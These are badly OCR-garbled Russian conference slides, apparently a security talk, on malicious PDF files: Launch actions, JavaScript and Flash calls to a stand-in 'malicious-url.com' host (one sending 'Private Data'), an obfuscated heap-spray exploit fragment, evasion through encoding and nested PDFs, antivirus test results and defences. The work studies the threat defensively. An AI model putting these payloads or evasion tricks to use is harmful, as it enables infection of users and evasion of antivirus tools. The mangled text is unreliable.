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PDF-pokyMeHTbI - noBCOAY

Accoumaums

PycKpunro

06 accoumaly «PycKpyunTos»

=

CobbiTia ¥ MEpONPUATKHA

=

KoHdepeHuma «PycKpunTo™201C

=

Martepurarnbl AcCoLMaLM

+ MaTepHankl Hay4He!x CEMHHAPOE

+ DOTOPEMNOPT %M © MEPOMPHATHA

+ HayuHble NyBHESLHH

Farm Pocemt cerogea
B aRFIHOTED M MOHETET
Crerprame e o crasgapT LBF Ha pacmpocrp agesre gaspeo (CCP)
Hrd o MATE0 HELO- AHATTHYE CEHE MATEQHATRL

Hrrh O BMATEA 0 Kf e QRTHBIN OfTARES AECM

CratHemema

Hs mamna Bawxa Poconm

P erMOHan: BT pasgen

LEHTF

_

Il BxonneTens Ganxopcx
CTATHCTHEH

Il BrommmeTes® b arkoECED:
CTATHCTHEH. P erHoHAaTH
TIHIIOMHEHEE

Il T ogosoit oTaer Bamma
Poccrm

Cnapnas [ OdopMnenne goryMenTos / 3arpaHHvH HacooprT [/ SarpaHIacHopT HOBOTO DOHONSHEA

Il Focera: sEOHOMErE 0Kl
PEEAHCOEDE IOTIOMEED

Il Exapramiest obzop
EETALTEE.

Il TImaTesHETe H pacteTE
CHCTEME

O@OPMAEHHE AOKYMEHTOB BEII]){IHI'IIIHbIﬁ IMacIIOpPT HOBOI'O ITOKOJCHHA

B ¢cooTBeTCTEHE ¢ ¥RasoM [IpesHaenTa PO oT 194 0.2005 N2
1222 FATPAHNACIODTA HOBOTO NOKOMSHEA, CONePHaIHS
SJIEKTDOHHES HOCHTEIH HEGOPMALHH, BHAANTCA

» 51
Il Orezer o pagE 3ATPAHHYHBIH ITACIIOPT

GaHKoECEOTO © EKTOPA ¥

» BarpaHHYHBIN MACMODT HOEOTO
BarkoEcKoro Hagzopa

TOKOJEHHA TPpaxJaHaM o HX ¥eJaHHK © 1 AHBADA 2006 rofga,a
I TTaraastere MoHeTED 3ArpaHNACIopPTA, OOPARE KOTOPHY FTESDMIEHED
Pooormt %» [Mporparmeoe ofiecoeuesne

HocTapcpnennem [pasuTenbeTea PO oT14.03.1007 N? 208

Il OBz 0f meATemEHO CTH
Barma Poccre mo » MHTPAITHOHHAA EAPTA

T ARTRHEF R ATTHOTHET

ﬂeﬁCTBHTeJIBHH A< HX 2aMEHEL HACIIOPTAMHE HOBOTO
MOKCASHAA. JaABISHHS O BRIade NACIOpTa HOBOTD

} HOKOJIEHHA OT Mpaigad Poconiickoll degepami, IpOMHEARIIN HIH TpeCEEAMNY H3 TEPPHTOPHIE

El

OPEACCTABNEHNE VEEHNINA B

BOCCHACKOR SEIEPAIIHH PoCCHH, IPHERMASTCA Heloopego TEeHES Pefepa nenol MEMpAuncHCH cnymbol wom MM P,

Od)OpMJ'IeHHe MacnopTa HOBOI'O MOKOJIEHNAA He OONMYCKAETCH ez H3BLATHA PaHee EE[JaHHOI O [NacIopTa

» [IACIOPT IPAAAHNHA POCCHACKOR HOBOT'O IOKOJIEHHA HAH 5arPaHNacnopTa cTApore o5pasia, 2/l CpoK €ro AeficTENA He HoTeK. OfHAKO
SEJEPAITHH SCIH AeATEeNEHOCTE TpakfanuHa Poccuitcrolt degepanuy ¢BAZaHA ¢ PETYIADHEIMH (He DEXe T OJUH

~OSITIVE TECHNOLOGIES




PocT uncna BpeaoHocHbix PDF-cpannos
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CraTucrmka no mHpumunmpoBaHHbIM dpannam.

ANaHHble F-Secure, 9 mapta 2010 .




YA3BMMOCTHU, cBA3aHHble ¢ PDF

f1I3BMMOCTU npoaykTtoB Adobe
SI3BMMOCTU CTOPOHHMUX npoayktoB (Foxit Reader)

Il

i

- YA
= VY«
= YazBuMoctu ActiveX-KOMMNOHEHTOB

il
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YA3BMMOCTHU, cBA3aHHble ¢ PDF ‘

i

BMMOCTHU npoaykTtoB Adobe

il

BMMOCTU CTOPOHHUX npoayktoB (Foxit Reader)

il

i

- Yas
- Yas3
- Ya3BuMocTu ActiveX-KOMNOHEHTOB
- YasBuMmocTtmn 6paysepos

- Yas3

il

BMMOCTH Beb6-npunoxxenunn (XSS, CSRF)
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Ctpyktypa PDF-aokyMeHTa

“PDF-1.1 3aronoBOK

1 0 obj

< /Type /Catalog /Outlines 2 0 R /Pages 3 0 R >>
endobj

¥ ¥ =

4 0 obj

< /Type /[/Page /Parent 3 0 R /MediaBox [0 0 612 792] >>
andobij

0000000000 65535 £
0000000009 00000 n | |a0NMUA CCLINOK

* + B

Dﬂﬂﬂlﬂﬂﬂlgf: 00000 n

trailer

<< /Size 6 /Root 1 0 R >>

startxref Tpennep
412
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AKTBHOe coaep>xnMmoe PDF-AOKYMEeHTOB !

«CobbiTne>» PDF-cbopmMmaTta

i

il

JavaScript

I

Flash (ActionScript)
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«CobbiTne>» PDF

$PDF-1.1
1 0 obj
<<

/Type /Catalog /Outlines 2 0 R /Pages 3 0 R

/OpenAction 5 0 R

endobij

5 0 obj

< ":

/Type /Action /S /URI
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«CobbiTne>» PDF

$PDF-1.1
1 0 obj

e

Security Warning

The document is brving bo conneck ko
! hkkp: | frnalicious-url, com
]

If wiou krusk the sike, choose Allow, IF wou do not krost the sike, choose Black,

| belb | | alow | | Block

-

endobj

%E0F
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«CobbiTne>» PDF

$PDF-1.1
1 0 obj

@ Cannot find server - Microsoft Internet Explorer

File Edit Miew Faworites Tools  Help

2 m
- 1 a ) < i s
e Back =5 \ﬂ @ p) | S search 7 Favorites {}

o~

Security Warning

3

E]@

&ddress |§h| hitp: fimalicious-url, comy

r The docurmen
. E hkkp: f fmalicio

L LT T LTI

If wiou krusk kb

-

endobj

%E0F

BOE
P

ﬁj Dane

0 Internet
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PDF u BbinoO/IHEHME KOMaAHA

“PDF-1.1
1 0 obj
L

/Type /Cataleog /Outlines 2 0 R /Pages 3 0 R

/OpenBAction 8 0 R

CobbiTHe

/Type /Action sunch
win << /F >>

BeinonHAemMmasa KoOMaHga
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PDF n BbiNno/IHEHUEe KOMaHA

=PDF=-1.1

Fa ]

Launch File

The file and its viewer application are sek to be launched by this POF file, The

! :" file may contain programs, macros, of viruses that could pokentially harem wour
cormpukter, Only open the File iF yvou are sure it is safe, IF this file was placed by
a trusted person or program, you can click Open ko view the File,

CHWTNDOW S sy skem 32 omd . exe
File:

[ ] Do niot show this message again

pen l I Do Mok Open
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PDF n BbiNno/IHEHUEe KOMaHA

=PDF=-1.1

Launch File E
I

B C:\WINDOWS\system32\cmd.exe - |I:I ﬂ

Microsoft Windows HP [Uewrsion 5.1.2600]
CG» Copyrdight 1985-2001 Microsoft Corp.

F:“tmp“launch—action—cmdX>
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JavaScript BnyTpu PDF

“PDF-1.1
1 0 obj
<< /Type /[Catalog /Outlines 2 0 R /Pages 3 0 R
Q’ﬂpenﬁctiﬂn 50 H}
-
endobj
5 0 obj

<< [Type [Action /S /JavaScript /Js |

(ﬁpp.alert{{cusg: "OK', cTitle: 'Testing PDF JavaScript', nIcon: 3}}%)

| -

, endob]

HSEQF
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JavaScript BnyTpu PDF

%PDF-1.1
1 0 vy,

3
<< |* Warning: JavaScript Window - Testing
( app. \ir)‘:’“ 3}) ;
| &
& 4
%%EO0]
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URL-aTtaka (BapuaHT, ncnosb3yrowmmn JavaScript)

try
{

result = app.launchURL ("http://malicious-url.com", true) ;

}

catch(err)

{

this.closeDoc () ;

}
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URL-aTtaka (BapuaHT, ncnosb3yrowmmn JavaScript)

[ Ty

Security Warning

try
{ The document is trving to conneck ko

r ! hittp: f fralicious-url. com ae) ;
} . .
catch If wou trusk the site, chioose &llow, IF wou do notk krosk the sike, choose Block.,
{ ettt se et et tes et ettt e :

£| [IRemember my action For this site
}

Help | | Al | | Block.
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URL-aTtaka (BapuaHT, ncnosb3yrowmmn JavaScript)

#7Cannot find server - Microsoft Internet Explorer g@

File Edit ‘iew Favorites Tools Help :,’
# —~ 0 E

@Back - &9 \ﬂ @ _l\J P ) search ‘i'\'/ Favarites ﬁ‘} = _I K ii fi

Address |ﬁj http: ffmalicious-url, com{ [V] Go

Securit -

[ld]]

1e) ;

@ Daone B nternet
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dkcnnyarauma yassumocrten B Adobe JavaScript

_—

ﬁ

f
|

ﬁ

i

f

Mepepava
ynpaBrieHus Ha
Jv[Scrilt

= app.doc.Collab.getIcon()
= util.printf()
= Collab.collectEmailInfo()
» media.newPlayer()

SN
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MpoBepka
Hanuuumsa metoaa

= [MpvHUMN 3KCNa1yaTauumm

SN

YaszsuMmocTtu B JavaScript-metopaax

He 1S

BbizoB
yAA3BUMOrO
MeToda




Flash BHyTpm PDF !
Adobe Supplement to the ISO 32000 (ntoHb 2008)

BHegpeHune TpebyeT okosio 10 pa3nnyHbliX 06bEKTOB

\

r
\

i

\

r
\

i

Moacuctema 6e3onacHoctn Adobe
Reader Security

\

r
\

i

Flash Security

Flash
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URL-aTtaka (BapuaHT, ncnonbnsywouwmm Flash)

package |
impoxrt
impoxrt
impoxrt

impoxrt

public

flash.display.Moviedlip
flash.net.navigateToURL;
flash.net.URLRegquest;
flash.net.URLVariakles;

class NavigateToURLExample extends Moviellip {

public function NavigateToURLExample() {

var url:String = "http:ffmaliciuus—url.cnm";
var varlabhles:URLVariables = new URLVariables();
variables. exampleUserLabel = "Priwvate Data';

var regquest:URLRequest = new URLReguest{url}):
request.data = wariables;

try {

i navigateToURL(request) ;

}

catch (e:Brror) |

. /f handle error here

3
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URL-aTtaka (BapuaHT, ncnonbnsywouwmm Flash)

package |
import flash.display.Moviedlip
import flash.net.navigateToURL;

i: Security Warning

pu

3 The document is trving o conmeck to
. htkp: fimalicious-url, comyexamplelserLabel=Private%:200ata

If wou brust the site, choose Allow, IF wou do nok Erust the site, choose Block,

Help | | Al

=yt
: navigateToURL(request) ;
}

catch (e:Brror) |

4f handle error here

3
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URL-aTtaka (BapuaHT, ncnonbnsywouwmm Flash)

package |

impoxrt flash.d

import flash.n

@ Cannot find server - Microsoft Internet Explorer

l:m Security Wai

1m

pu

File Edit ‘Wew Favorites Tools  Help

0 — i -
- | ! 1 = " ] -
e Back > x ,.,: | Search 7. Favaries {} ==

Address Kg'] http:f fmalicious-url, com/

The ¢
!"_n: hkkp:
If v
[ Remember
¥ 1

}
catch
i

}

}

&] Done & Internet ”
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dkcnnayatauma yassmmocrteun Flash !

= [llepepayva ynpasJsieHUa B AMHAMUYECKYIO NaMATb
(CVE-2009-1862)

f

= BpepoHocHbI kopa (nronb 2009)
= Exploit.SWF.Agent.br (Jl1abopaTtopus Kacnepckoro)
= Trojan.Pidief.G (Symantec)

f
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Cpeacrsa NpoTuBOAENCTBUA aHANN3Y !

CMHTaKCcnyeckue naMmeHeHus

|
\

i

f

\
|

Il

KackagmpoBaHue npeobpasoBaHum (bunbrpbl)

{
1

(
L

I

JavaScript-o6¢dyckauumsn

f
\

|
\

i

f

BHeapeHuve PDF BHyTpb PDF
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TecToBbIX 3K3eMNAAp !

Exploit Database #10618 (www.exploit-db.com)

» ¥Ya3BuMMoOCTb B JavaScript-meroae media.newPlayer

L

- VIRUS
>A TOTAL 15/42

Be3dBpeaHbin PDF-pgokymeHT ¢ JavaScript

, hlcon: 3}):

L

app.alert{{cM=g: '0OK', cTitle: 'Testing PDF Javaicript!

g VIRUS
dtoraL 0/42
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CMHTakcnmyeckme mnamMmeHeHms

= HEX-npeacraBneHune MmapkeposB V' VlRUS
= /JavaScript -> /#4A#61va#53#63ri#70#74 ‘ TOTAL
= WMN3MeHeHMue TeKCTOBbIX AaHHbIX
= PasbuneHue cTpok c noMmouibto cumeona ‘\’ _4
- npencraBneHue CMMBOJI0OB B BOCbMepVItIHOVI cncrteme
- npencraBneHue CMMBOJ1IOB B I.IJeCTHaALl,aTepVI'-IHOﬁ
cucreme + 5

= BcTaBkKka CMMBOJIOB npob6ena

U

[
l

N3MeHeHMne nopsaaka o6bekToB B panne

= Wcnonb3oBaHune cuHoHuMoB (alias)

= ASCIIHexDecode -> AHx; ASCII85Decode -> A85
= LZWDecode -> LZW; FlateDecode -> Fl

* RunLengthDecode -> RL; CCITTFaxDecode -> CCF
» DCTDecode -> DCT

|

f
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KackagupoBaHue punbTpoB

= [peob6bpazoBaHusa (donnbTpbl) W VIRUS
ASCIIHexDecode; ASCII85Decode; i TOTAL
LZWDecode; FlateDecode;
RunLengthDecode; CCITTFaxDecode;
JBIG2Decode; DCTDecode; JPXDecode; Crypt _0
5 0 obj + 2
<< /Type /Actien /S /JavaSecript /J5 6 0 R >>
endob] Kackag cownerpoBs
6 0 obj
<< /Length 100 /Filter|[/FlateDecode /ASCIIHexDecode]
>>
stream

xweTJl
TORRECWIHE ! P (sl * R ( ' gh, EDIE)c 75 $ EEFAKM—e 606 ) xmK b RE® s ekl

Umungpoo—+of SCKFPUL T, I$: EJ6QaUtrEzré TP KBuymc®=3qg ' I

endstream NaHHbIE
endobj
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JavaScript-o6¢dyckayumn

—
e
———
_

—

www.javascriptobfuscator.com

\ %9 VIRUS
vaz Ox52e7=[ ‘ TOTAI.

Fene93lizuef83izndoddi udfesein2 474z nEhfdznyiglincfldzubl02Eu33i0esunt
hiufdeZiueaf3izuletfsiulz afindbiaizng253zulboediz w03 17EnE55einlaZ0% s

azulidfzudYSaruieediulfsazuidislzul?71suSocizula7liuci essuls Yhsuo — 3
ezufasasusesdszulalsizueylasusliasulidbhszuedsasulesdszugsifazuleildszue
DFuleedzulfiasusbhidiuiaediuclohsucedizuiflbhiuieflsucdeasulsc9snd
4:zudibdsulelfsusslciulal?3ul7?5atudzedsulellsulZ et ucndasusdsisurt + 0

DEzuSd0fzufeiSsucieciusecaruiecl7zuecefzusalezufiZofulceszuflesszue
Brus2dliuclciunyeddiulZ0atulebhl™ , " uld0ds u0dod™ , "lengtht™,
Msubstring™,"1.000000000000000000000000 = do0ooo0a™  fprintd™,
"newPlayer"] rfuanction spray heap{){var 0O0x7fodx=, Ox7IL6dx3,
_Ox7fedxd; OxVL6dxa=0x8000; Ox7Lfoedx3=unescape{ OxSz2e7[0]);
_Ox7fedxd=unescape{ 0x5Ze7[1]) ;uhile{ OxVLod4xd[ OxS2eV[2]]<
_OxPfedxz) { OxVE6dxd+= Ox7fed4x4;:} :nopsled len= Ox7L6d4x2-{
_OxPfedx3[ OxS2eV[2]]1+20) ) OxVYLodxd= OxVLcdxd[ Oxl=2e7[3]1]1(0,
nopsled len) rheap chunks= pew Array():Ffor{var Ux7Lfodxi=0;
_Ox7fed4x3<C1200; Ox7E64x5++) {heap chunks[ Ox7fod4x3]= Ox7Lod4xd+
_Ox7fedx3:} )} Function trigger bug{){util[ OxS52e?[S5]]{ OxSze7[
1, mrew Date() ) rExy{mwedia OxSZe7[6]]{null):} catch{e){}  util[
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PDF BHyTpu PDF

<</DL 2394 Filter [/FlateDecode] /Subtype

Epplication#i2Fpdf )/Length 858 /Params << ... >> /Type } B VIRUS
/ ile >> Tun BHegpeHHoOro chavna TOTAL
stream

xi+ VINEIG s hhe ARERRIEAY: , MOKEES @16 AL 8
k"TE102ei+ HTobwCutEE{ €=a" $mpi { MEBuHexsnh<eYeloo . TEU -

SR ADLE STXDLEBSEANCERIRERID C3F SIASEIRE LSSl S e 85 = + 0
endstream BnoweHHsId PDF=chann (cxkatein ZLIB)

endobj

6 0 obj

<</EF <</F 5 0 R >> /Type /Filespec /F (file.pdf) >>

endobj

7 0 obj

<</EmbeddedFiles <</Hames [< ... > 6 0 R] >> >>

endob)

Mepexon Ha BNOXEHUWE

B 0 ohg
<</8 J"T <</H <...> /R /C /HewWindow false >>

/HewWindow false >>
endobj
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«MaTtpewka»

L

~

5 ntepaunun BHeapeHus B PDF
PDF-pokymeHT \
/ PDF-pokymeHT \
/ PDF-poKkymeHT \
\

-

PDF-AOKYMeHT

/ PDF-pokymeHT

~

MHdpuumpoBaHHbIN
PDF-pokymeHT j

N
\\%/j
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9§ VIRUS
A TOTAL

-11
+0




TecTnupoBaHue «MarpeLwwkun» '

NMHdunumposaHHbin SWF-panun (CVE-2007-0071)

|
|

W

|

W

= WHdPnunposaHHbin PDF-pann (CVE-2010-0188)

W

BesBpeaHbin SWF-daun

dk3eMnnap Ao BHeapeHunA t:;:g:::: 53:;:52::2
media.newPlayer 15/42 7/42 4/42
CVE-2007-0071 26/42 7/42 6/42
CVE-2010-0188 10/42 8/42 6/42
Be3BpeaHbit PDF+]S 0/42 0/42 0/42
Be3sBpenHbii SWF 0/42 0/42 0/42
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CTaTUCTUKA NO aHTUBUPYCHbIM NPOAYKTaM

—_—

= WcxoaHble AaHHble AN aHanau3a:
= 11 3apaxeHHbix ¢pannos (3 TMna + moandpukauymmn)
= 9 6e3BpeaHbIX bannos (2 Tmna + moandukaymn)
= 42 aHTUBUPYCHbIX npoaykTa (virustotal.com)
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CTaTUCTUKA NO aHTUBUPYCHbIM NPOAYKTaM

Konnuectso obHapyKeHHbIX 3K3emnaapos (%)

GData
Symantec
Sophos
F-Secure
BitDefender
TrendMicro
Microsoft
NOD32
McAfee
Kaspersky
Panda
DrWeb

0 10 20 30 40 50 60 70 80 90 100
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CTaTUCTUKA NO aHTUBUPYCHbIM NPOAYKTaM ‘

18/42 He OGHaApPY>XU/IN HN OAHOIO 3K3eMnasapa

!
n

L

f
\

!
n

L

f
\

Hun oamH 3k3eMnaap He o6owen Bce aHTUBUPYChI

!
\

L

Jlo>kHble cpabaTbiBaHuA 6/42

f
\

Authentium 2
BitDefender 1
eTrust-Vet 1
F-Secure 1
GData 1
nProtect 1
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3apaxxeHue PDF-goKkyMeHTOB

\

Moancdpukauma cywecTByrowen CTPYKTYpbl
» BcTaBKka Heo6xoaAMMbIX 06BbEKTOB
» Moandukauma cnyxebHbix nonen

= BctaBka 06paboTku «CobbiTus»

i

f

i

|

Mcnonb3oBaHue MexaHusMma o6HoBNeHUM

(
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MexaHun3m o6HoBNneHnn PDF-pokyMeHTOB

OpuruHansHbein PDF-gokyMmeHT

MNepegaya ynpaBneHus

<< /Type /Action /S /JavaScript /J5 |

0000000000 65535 f CnyxeDHble paHHbIe
0000000408 00000 n

100 1

0000000491 00000 n

trailer

<< fSize 101 /Root 1 0 R /Prev 248 >>
startxref

614 J
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ines 2 0 R /Pages 3 0 R

app.alert({cMsg: 'OK', cTitle: 'Testing', nlcon: 3});

MocnonHAaemiia KOO

BHegpeHHbIe
OaHHBLIe

—



3awmTta ot MHduumposaHHbix PDF-channos

\

i

= OTKNIOUYEeHne aKTUBHOrIo cogep>xXmmoro
= JavaScript
= Flash

f

il

AnbTepHaTuBHbIe peaakTopbl PDF

l

«MecouyHnuya» (Security sandbox)
* MAHTerpmpoBaHHbl€ B aHTUBUPYCHbIE NPOAYKTbI
= 060co6bneHHble (Sandboxie)

Il

~OSITIVE TECHNOLOGIES




3arnsaabiBas B 6yayuiee

Konunuecteo CVE-3anucen (npoaykrbl Adobe)

120

100

80

60

40
2009 r.

20
2007 r. 2008 r.

0
2005. 2006 .

HeonybnunkoBaHHble ya3BuMmoctu Adobe
= Zero Day Initiative — 8 nusseweHumn
= Secunia Research - 6 nsseweHnmn

= Vupen Security — 34 nssewieHums

i
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Cnacmbo0 3a BHMMaHuel!
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